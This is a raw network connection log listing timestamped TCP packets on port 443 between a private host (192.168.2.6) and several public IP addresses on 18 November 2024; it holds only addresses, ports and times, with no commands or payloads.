Nov 18, 2024 05:57:46.378319025 CET	60414	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.378334999 CET	443	60414	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.381149054 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.381231070 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.381326914 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.381546974 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.381582975 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.569772959 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.570251942 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.570305109 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.571382999 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.571397066 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.612828016 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.613306046 CET	60416	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.613320112 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.613977909 CET	60416	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.613982916 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.700402975 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.700438976 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.700495005 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.700509071 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.700587034 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.700812101 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.700853109 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.700882912 CET	60415	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.700897932 CET	443	60415	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.704189062 CET	60421	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.704242945 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.704315901 CET	60421	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.704545975 CET	60421	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.704560041 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.742243052 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.742330074 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.742424011 CET	60416	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.743000984 CET	60416	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.743029118 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.743046045 CET	60416	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.743056059 CET	443	60416	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.748179913 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.748218060 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.748346090 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.748650074 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.748660088 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.860620022 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.861093998 CET	60418	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.861124992 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.861527920 CET	60418	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.861535072 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.862946987 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.863285065 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.863306999 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.863854885 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.863859892 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.989018917 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.989089012 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.989247084 CET	60418	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.990400076 CET	60418	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.990436077 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.990453005 CET	60418	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.990462065 CET	443	60418	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.993966103 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.994016886 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.994111061 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.994322062 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.994338036 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.994822979 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.994894981 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.994947910 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.994961023 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.995012045 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.995060921 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.995078087 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.995096922 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.995109081 CET	60417	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.995112896 CET	443	60417	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.997340918 CET	60424	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.997395992 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:46.997478962 CET	60424	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.997611046 CET	60424	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:46.997629881 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.114731073 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.115200996 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.115217924 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.115609884 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.115614891 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.244597912 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.244674921 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.244790077 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.244903088 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.244903088 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.245162010 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.245210886 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.245243073 CET	60420	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.245259047 CET	443	60420	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.248215914 CET	60425	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.248270035 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.248394966 CET	60425	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.248558998 CET	60425	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.248578072 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.434782028 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:47.434871912 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.436521053 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.436553001 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:47.436904907 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:47.438610077 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.438689947 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.438702106 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:47.438802958 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.452812910 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.453217983 CET	60421	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.453241110 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.453624964 CET	60421	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.453632116 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.483325958 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:47.499151945 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.499504089 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.499541044 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.499891043 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.499905109 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.584861994 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.584928989 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.584985971 CET	60421	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.585174084 CET	60421	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.585197926 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.585242033 CET	60421	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.585249901 CET	443	60421	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.587975979 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.588068962 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.588155031 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.588345051 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.588381052 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.636373997 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.636416912 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.636533022 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.636581898 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.636641026 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.636683941 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.636683941 CET	60422	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.636727095 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.636758089 CET	443	60422	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.639014959 CET	60427	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.639111042 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.639205933 CET	60427	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.639369011 CET	60427	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.639399052 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.686755896 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:47.687194109 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.687241077 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:47.687279940 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.687498093 CET	443	60419	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:47.687561989 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.687597990 CET	60419	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:47.721828938 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.722181082 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.722210884 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.722579002 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.722587109 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.740299940 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.740550041 CET	60424	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.740611076 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.740832090 CET	60424	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.740847111 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.818479061 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:47.818715096 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:47.818808079 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:47.818825006 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:47.853606939 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.853626966 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.853677034 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.853692055 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.853755951 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.853945971 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.853945971 CET	60423	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.853972912 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.853996038 CET	443	60423	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.857047081 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.857115984 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.857193947 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.857337952 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.857368946 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.867974997 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.868040085 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.868140936 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.868196964 CET	60424	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.868230104 CET	60424	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.868248940 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.868262053 CET	60424	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.868268967 CET	443	60424	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.872489929 CET	60429	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.872544050 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.872615099 CET	60429	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.872754097 CET	60429	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:47.872796059 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:47.900633097 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:47.900666952 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:47.900732040 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:47.901021957 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:47.901041031 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:47.991159916 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.002196074 CET	60425	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.002258062 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.002948999 CET	60425	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.003004074 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.130323887 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.130505085 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.130661964 CET	60425	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.130862951 CET	60425	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.130914927 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.130948067 CET	60425	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.130964041 CET	443	60425	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.133573055 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.133667946 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.133771896 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.133945942 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.133980036 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.308374882 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.308998108 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.309025049 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.309415102 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.309427977 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.385226965 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.385962963 CET	60427	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.386025906 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.386360884 CET	60427	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.386374950 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.440126896 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.440154076 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.440201044 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.440232992 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.440268040 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.440469980 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.440491915 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.440505981 CET	60426	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.440512896 CET	443	60426	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.443236113 CET	60432	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.443301916 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.443409920 CET	60432	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.443556070 CET	60432	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.443586111 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.518925905 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.519009113 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.519064903 CET	60427	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.519234896 CET	60427	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.519284010 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.519361973 CET	60427	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.519378901 CET	443	60427	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.521811008 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.521857023 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.521929026 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.522078991 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.522092104 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.585486889 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.585979939 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.586014032 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.586850882 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.586863995 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.607877970 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.608299971 CET	60429	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.608362913 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.608820915 CET	60429	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.608841896 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.714045048 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.714071989 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.714118004 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.714138985 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.714207888 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.714344025 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.714385033 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.714423895 CET	60428	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.714440107 CET	443	60428	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.717152119 CET	60434	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.717240095 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.717320919 CET	60434	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.717467070 CET	60434	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.717499971 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.736437082 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.736584902 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.736658096 CET	60429	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.736742020 CET	60429	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.736742020 CET	60429	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.736787081 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.736815929 CET	443	60429	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.738964081 CET	60435	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.739006996 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.739097118 CET	60435	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.739197016 CET	60435	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.739214897 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.874511957 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.875024080 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.875102997 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.875463963 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:48.875478983 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:48.884428978 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:48.884520054 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:48.885914087 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:48.885929108 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:48.886163950 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:48.894979954 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:48.895009041 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:48.895056009 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:49.005120993 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.005187035 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.005258083 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.005290985 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.005333900 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.005393028 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.005511999 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.005511999 CET	60431	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.005548954 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.005573034 CET	443	60431	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.008306026 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.008354902 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.008447886 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.008567095 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.008589029 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.173427105 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.173907995 CET	60432	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.174019098 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.174350977 CET	60432	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.174366951 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.268955946 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.269495964 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.269536972 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.269897938 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.269907951 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.302689075 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.302761078 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.302894115 CET	60432	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.303050995 CET	60432	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.303088903 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.303142071 CET	60432	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.303158045 CET	443	60432	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.306058884 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.306154966 CET	443	60437	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.306262016 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.306427002 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.306459904 CET	443	60437	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.393176079 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:49.393253088 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:49.393441916 CET	60430	443	192.168.2.6	188.114.97.3
